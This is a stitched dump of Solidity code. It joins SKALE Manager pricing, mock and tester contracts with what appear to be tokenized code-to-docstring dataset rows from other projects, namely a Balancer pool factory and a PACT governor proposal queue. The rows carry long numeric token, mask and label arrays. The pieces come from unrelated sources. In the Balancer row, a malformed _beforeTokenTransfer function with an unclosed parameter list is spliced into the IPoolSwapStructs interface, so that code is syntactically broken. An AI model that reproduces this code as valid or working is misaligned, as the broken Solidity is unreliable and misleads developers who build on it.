(networkIsOverloaded) { loadDiff = load.mul(100).sub(constantsHolder.OPTIMAL_LOAD_PERCENTAGE().mul(capacity)); } else { loadDiff = constantsHolder.OPTIMAL_LOAD_PERCENTAGE().mul(capacity).sub(load.mul(100)); } uint priceChangeSpeedMultipliedByCapacityAndMinPrice = constantsHolder.ADJUSTMENT_SPEED().mul(loadDiff).mul(price); uint timeSkipped = now.sub(lastUpdated); uint priceChange = priceChangeSpeedMultipliedByCapacityAndMinPrice .mul(timeSkipped) .div(constantsHolder.COOLDOWN_TIME()) .div(capacity) .div(constantsHolder.MIN_PRICE()); if (networkIsOverloaded) { assert(priceChange > 0); price = price.add(priceChange); } else { if (priceChange > price) { price = constantsHolder.MIN_PRICE(); } else { price = price.sub(priceChange); if (price < constantsHolder.MIN_PRICE()) { price = constantsHolder.MIN_PRICE(); } } } lastUpdated = now; } /** * @dev Returns the total load percentage. */ function getTotalLoadPercentage() external view returns (uint) { return _getTotalLoad().mul(100).div(_getTotalCapacity()); } function initialize(address newContractsAddress) public override initializer { Permissions.initialize(newContractsAddress); lastUpdated = now; price = INITIAL_PRICE; } function checkAllNodes() public { Nodes nodes = Nodes(contractManager.getContract("Nodes")); uint numberOfActiveNodes = nodes.getNumberOnlineNodes(); require(totalNodes != numberOfActiveNodes, "No changes to node supply"); totalNodes = numberOfActiveNodes; } function _getTotalLoad() private view returns (uint) { SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal")); uint load = 0; uint numberOfSchains = schainsInternal.numberOfSchains(); for (uint i = 0; i < numberOfSchains; i++) { bytes32 schain = schainsInternal.schainsAtSystem(i); uint numberOfNodesInSchain = schainsInternal.getNumberOfNodesInGroup(schain); uint part = schainsInternal.getSchainsPartOfNode(schain); load = load.add( numberOfNodesInSchain.mul(part) ); } return load; } function _getTotalCapacity() private view returns (uint) { Nodes nodes = Nodes(contractManager.getContract("Nodes")); ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder")); return nodes.getNumberOnlineNodes().mul(constantsHolder.TOTAL_SPACE_ON_NODE()); } } // SPDX-License-Identifier: AGPL-3.0-only /* SchainsInternalMock.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "../SchainsInternal.sol"; contract SchainsInternalMock is SchainsInternal { function removePlaceOfSchainOnNode(bytes32 schainHash, uint nodeIndex) external { delete placeOfSchainOnNode[schainHash][nodeIndex]; } function removeNodeToLocked(uint nodeIndex) external { mapping(uint => bytes32[]) storage nodeToLocked = _getNodeToLockedSchains(); delete nodeToLocked[nodeIndex]; } function removeSchainToExceptionNode(bytes32 schainHash) external { mapping(bytes32 => uint[]) storage schainToException = _getSchainToExceptionNodes(); delete schainToException[schainHash]; } } // SPDX-License-Identifier: AGPL-3.0-only /* LockerMock.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "../interfaces/delegation/ILocker.sol"; contract LockerMock is ILocker { function getAndUpdateLockedAmount(address) external override returns (uint) { return 13; } function getAndUpdateForbiddenForDelegationAmount(address) external override returns (uint) { return 13; } } // SPDX-License-Identifier: AGPL-3.0-only /* MathUtilsTester.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "../utils/MathUtils.sol"; contract MathUtilsTester { using MathUtils for uint; function boundedSub(uint256 a, uint256 b) external returns (uint256) { return a.boundedSub(b); } function boundedSubWithoutEvent(uint256 a, uint256 b) external pure returns (uint256) { return a.boundedSubWithoutEvent(b); } function muchGreater(uint256 a, uint256 b) external pure returns (bool) { return a.muchGreater(b); } function approximatelyEqual(uint256 a, uint256 b) external pure returns (bool) { return a.approximatelyEqual(b); } } // SPDX-License-Identifier: AGPL-3.0-only /* SegmentTreeTester.sol - SKALE Manager Copyright (C) 2021-Present SKALE Labs @author Artem Payvin @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "../utils/SegmentTree.sol"; contract SegmentTreeTester { using SegmentTree for SegmentTree.Tree; SegmentTree.Tree private _tree; uint[129] private _places; function initTree() external { _tree.create(128); for (uint8 i = 1; i <= 128; i++) { if (_places[i] > 0) _tree.addToPlace(i, _places[i]); } } function addElemInPlaces(uint place, uint elem) external { _places[place] = elem; } function addToLast(uint elem) external { _tree.addToPlace(_tree.getSize(), elem); } function addToPlace(uint place, uint elem) external { _tree.addToPlace(place, elem); } function removeFromPlace(uint place, uint elem) external { _tree.removeFromPlace(place, elem); } function moveFromPlaceToPlace(uint fromPlace, uint toPlace, uint elem) external { _tree.moveFromPlaceToPlace(fromPlace, toPlace, elem); } function sumFromPlaceToLast(uint place) external view returns (uint) { return _tree.sumFromPlaceToLast(place); } function getRandomElem(uint place) external view returns (uint) { Random.RandomGenerator memory randomGenerator = Random.createFromEntropy( abi.encodePacked(uint(blockhash(block.number - 1)), place) ); return _tree.getRandomNonZeroElementFromPlaceToLast(place, randomGenerator); } function getElem(uint index) external view returns (uint) { require(index < _tree.tree.length, "Incorrect index"); return _tree.tree[index]; } function getSize() external view returns (uint) { return _tree.getSize(); } }
* @dev Returns schain name./
function getSchainName(bytes32 schainHash) external view returns (string memory) { return schains[schainHash].name; }
10,036,788
[ 1, 1356, 272, 5639, 508, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1322, 5639, 461, 12, 3890, 1578, 272, 5639, 2310, 13, 3903, 1476, 1135, 261, 1080, 3778, 13, 288, 203, 3639, 327, 18551, 4167, 63, 87, 5639, 2310, 8009, 529, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/42220/0x88130371F154e6E17CA3292a57269618a1b4503a/sources/pkg/pool-weighted/contracts/WeightedPool2TokensFactory_flat.sol
This is not really an interface - it just defines common structs used by other interfaces: IGeneralPool and IMinimalSwapInfoPool. This data structure represents a request for a token swap, where `kind` indicates the swap type ('given in' or 'given out') which indicates whether or not the amount sent by the pool is known. The pool receives `tokenIn` and sends `tokenOut`. `amount` is the number of `tokenIn` tokens the pool will take in, or the number of `tokenOut` tokens the Pool will send out, depending on the given swap `kind`. All other fields are not strictly necessary for most swaps, but are provided to support advanced scenarios in some Pools. `poolId` is the ID of the Pool involved in the swap - this is useful for Pool contracts that implement more than one Pool. The meaning of `lastChangeBlock` depends on the Pool specialization: - Two Token or Minimal Swap Info: the last block in which either `tokenIn` or `tokenOut` changed its total balance. - General: the last block in which *any* of the Pool's registered tokens changed its total balance. `from` is the origin address for the funds the Pool receives, and `to` is the destination address where the Pool sends the outgoing tokens. `userData` is extra data provided by the caller - typically a signature from a trusted party.
interface IPoolSwapStructs { function _beforeTokenTransfer( address from, address to, uint256 amount } struct SwapRequest { IVault.SwapKind kind; IERC20 tokenIn; IERC20 tokenOut; uint256 amount; bytes32 poolId; uint256 lastChangeBlock; address from; address to; bytes userData; } }
16,320,135
[ 1, 2503, 353, 486, 8654, 392, 1560, 300, 518, 2537, 11164, 2975, 8179, 1399, 635, 1308, 7349, 30, 467, 12580, 2864, 471, 467, 2930, 2840, 12521, 966, 2864, 18, 1220, 501, 3695, 8686, 279, 590, 364, 279, 1147, 7720, 16, 1625, 1375, 9224, 68, 8527, 326, 7720, 618, 7707, 10822, 316, 11, 578, 296, 10822, 596, 6134, 1492, 8527, 2856, 578, 486, 326, 3844, 3271, 635, 326, 2845, 353, 4846, 18, 1021, 2845, 17024, 1375, 2316, 382, 68, 471, 9573, 1375, 2316, 1182, 8338, 1375, 8949, 68, 353, 326, 1300, 434, 1375, 2316, 382, 68, 2430, 326, 2845, 903, 4862, 316, 16, 578, 326, 1300, 434, 1375, 2316, 1182, 68, 2430, 326, 8828, 903, 1366, 596, 16, 8353, 603, 326, 864, 7720, 1375, 9224, 8338, 4826, 1308, 1466, 854, 486, 23457, 4573, 364, 4486, 1352, 6679, 16, 1496, 854, 2112, 358, 2865, 16111, 22456, 316, 2690, 453, 8192, 18, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 5831, 467, 2864, 12521, 3823, 87, 288, 203, 565, 445, 389, 5771, 1345, 5912, 12, 203, 3639, 1758, 628, 16, 203, 3639, 1758, 358, 16, 203, 3639, 2254, 5034, 3844, 203, 97, 203, 203, 565, 1958, 12738, 691, 288, 203, 3639, 467, 12003, 18, 12521, 5677, 3846, 31, 203, 3639, 467, 654, 39, 3462, 1147, 382, 31, 203, 3639, 467, 654, 39, 3462, 1147, 1182, 31, 203, 3639, 2254, 5034, 3844, 31, 203, 3639, 1731, 1578, 2845, 548, 31, 203, 3639, 2254, 5034, 1142, 3043, 1768, 31, 203, 3639, 1758, 628, 31, 203, 3639, 1758, 358, 31, 203, 3639, 1731, 13530, 31, 203, 565, 289, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/44787/0xC4d41D0E0253B60B85Bc35C3b6C042689fC33E55/sources/contracts/governor/PACTDelegate.sol
* @notice Queues a proposal of state succeeded @param _proposalId The id of the proposal to queue/
function queue(uint256 _proposalId) external { require( state(_proposalId) == ProposalState.Succeeded, "PACT::queue: proposal can only be queued if it is succeeded" ); Proposal storage _proposal = proposals[_proposalId]; uint256 _eta = add256(block.timestamp, timelock.delay()); for (uint256 i = 0; i < proposalTargets[_proposalId].length; i++) { queueOrRevertInternal( proposalTargets[_proposalId][i], proposalValues[_proposalId][i], proposalSignatures[_proposalId][i], proposalCalldatas[_proposalId][i], _eta ); } _proposal.eta = _eta; emit ProposalQueued(_proposalId, _eta); }
13,252,133
[ 1, 17428, 279, 14708, 434, 919, 15784, 225, 389, 685, 8016, 548, 1021, 612, 434, 326, 14708, 358, 2389, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 2389, 12, 11890, 5034, 389, 685, 8016, 548, 13, 3903, 288, 203, 3639, 2583, 12, 203, 5411, 919, 24899, 685, 8016, 548, 13, 422, 19945, 1119, 18, 30500, 16, 203, 5411, 315, 4066, 1268, 2866, 4000, 30, 14708, 848, 1338, 506, 12234, 309, 518, 353, 15784, 6, 203, 3639, 11272, 203, 3639, 19945, 2502, 389, 685, 8016, 273, 450, 22536, 63, 67, 685, 8016, 548, 15533, 203, 3639, 2254, 5034, 389, 1066, 273, 527, 5034, 12, 2629, 18, 5508, 16, 1658, 292, 975, 18, 10790, 10663, 203, 3639, 364, 261, 11890, 5034, 277, 273, 374, 31, 277, 411, 14708, 9432, 63, 67, 685, 8016, 548, 8009, 2469, 31, 277, 27245, 288, 203, 5411, 2389, 1162, 426, 1097, 3061, 12, 203, 7734, 14708, 9432, 63, 67, 685, 8016, 548, 6362, 77, 6487, 203, 7734, 14708, 1972, 63, 67, 685, 8016, 548, 6362, 77, 6487, 203, 7734, 14708, 23918, 63, 67, 685, 8016, 548, 6362, 77, 6487, 203, 7734, 14708, 1477, 13178, 63, 67, 685, 8016, 548, 6362, 77, 6487, 203, 7734, 389, 1066, 203, 5411, 11272, 203, 3639, 289, 203, 3639, 389, 685, 8016, 18, 1066, 273, 389, 1066, 31, 203, 3639, 3626, 19945, 21039, 24899, 685, 8016, 548, 16, 389, 1066, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]